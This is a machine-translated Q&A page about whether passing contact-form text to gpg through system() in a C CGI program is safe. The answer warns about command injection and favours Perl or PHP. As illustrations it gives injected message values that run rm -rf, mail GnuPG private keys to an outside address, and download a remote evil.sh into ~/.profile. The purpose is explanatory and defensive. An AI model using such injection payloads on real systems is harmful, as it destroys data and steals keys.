我目前正在编写自己的小网站系统(编译Markdown文档的脚本,并将它们放在适当的位置,从而建立一个快速,静态的网站)。 我想让访问我(最初是静态的)联系页面的人向我发送GnuPG - 加密邮件。
基本上,访问者在联系表单中写下他或她的消息,如果他们想要加密消息,请单击此复选框,并在收到表单后,我的C(?)程序调用{{1}} < / p>
(我还没有确定如何有效地获取消息内容并在命令中使用它而不将未加密的消息写入磁盘)。
在处理表单数据的自制C程序中使用system("gpg --encrypt --recipient 31A49121CD42FF00 --armor <the_message>");
是否(不)安全?是否有更简单的方法来实现我想要做的事情(使用独立脚本 - 因为我的网站是静态的 - 运行GPG)?我没想过的任何安全考虑因素?
我在这里要求而不是安全SE,因为我正在寻找开发人员观点的答案。
答案 0 :(得分:4)
作为一名安全专业人士,至少对这个主题进行适度的生活咨询,以及一位相当多产的C程序员,我可以就这个问题给你一些不同的想法。
当您考虑在目标上执行的进程的安全性时,您必须考虑许多事情以及某人如何滥用这种情况。
让我们看一下我手头即时看到的直接安全问题,您正在<the_message>
上直接使用“system()”调用;你能想象以下几点:
the_message="hello and goodbye; rm -rf *; cat $HOME/.gpg/* | /usr/bin/sendmail -s 'these are the private keys' temporary_account@hotmail.com" or worse;
the_message="hello and goodbye; wget http://some.remote.system.com/evil.sh && mv evil.sh ~/.profile;"
所以要做的第一件事就是永远不要使用用户提供的任何东西作为命令或命令行的一部分;将消息保存到临时文本文件并加密;
好的,那么在使用C方面会发生什么?在我给你答案之前,我想说我喜欢C;我几乎完全用C编程,并且是过去24年来一直专注于C的专业开发人员。现在,我想说C是一个用于编写CGI程序的可怕工具,只有当你有一个真正令人信服的理由时才应该这样做。在你找到原因之后,你应该抛弃它并放弃这个想法。
CGI / 1.1是一个丑陋的标准;它使用环境变量,stdin和各种字符重新映射和重新编码来获取数据。你总是不得不处理实现cgi接口或使用libcgi或一些等效的库来处理所有的排列,最后你只是讨厌自己。
当我使用http://libcgi.sourceforge.net进行特定项目时,我不得不对其进行调试和强化并对其进行扩充,因为它在流量问题上有一些可怕的缓冲区左右中心,不存在的utf-8支持以及对身份验证的有限控制。
但即使你有这个问题,C通常也是一个坏主意,因为很多安全问题都是由人工操作内存引起的。
更高级的语言(shell脚本,awk,perl,php等)是处理CGI的更好的工具; Perl几乎是为它而构建的,PHP是专门为它构建的。在您的情况下使用perl或PHP的另一个好处是GnuPG模块可用,因此您不必使用system()任何东西;
良好开发的关键是使用最简单,最直接的工具包;在你的情况下,我认为你不应该使用C,因为它会强迫你以适当的CGI处理语言(如PHP)的形式做一些已经很好的事情。
这些是我的想法;我希望你能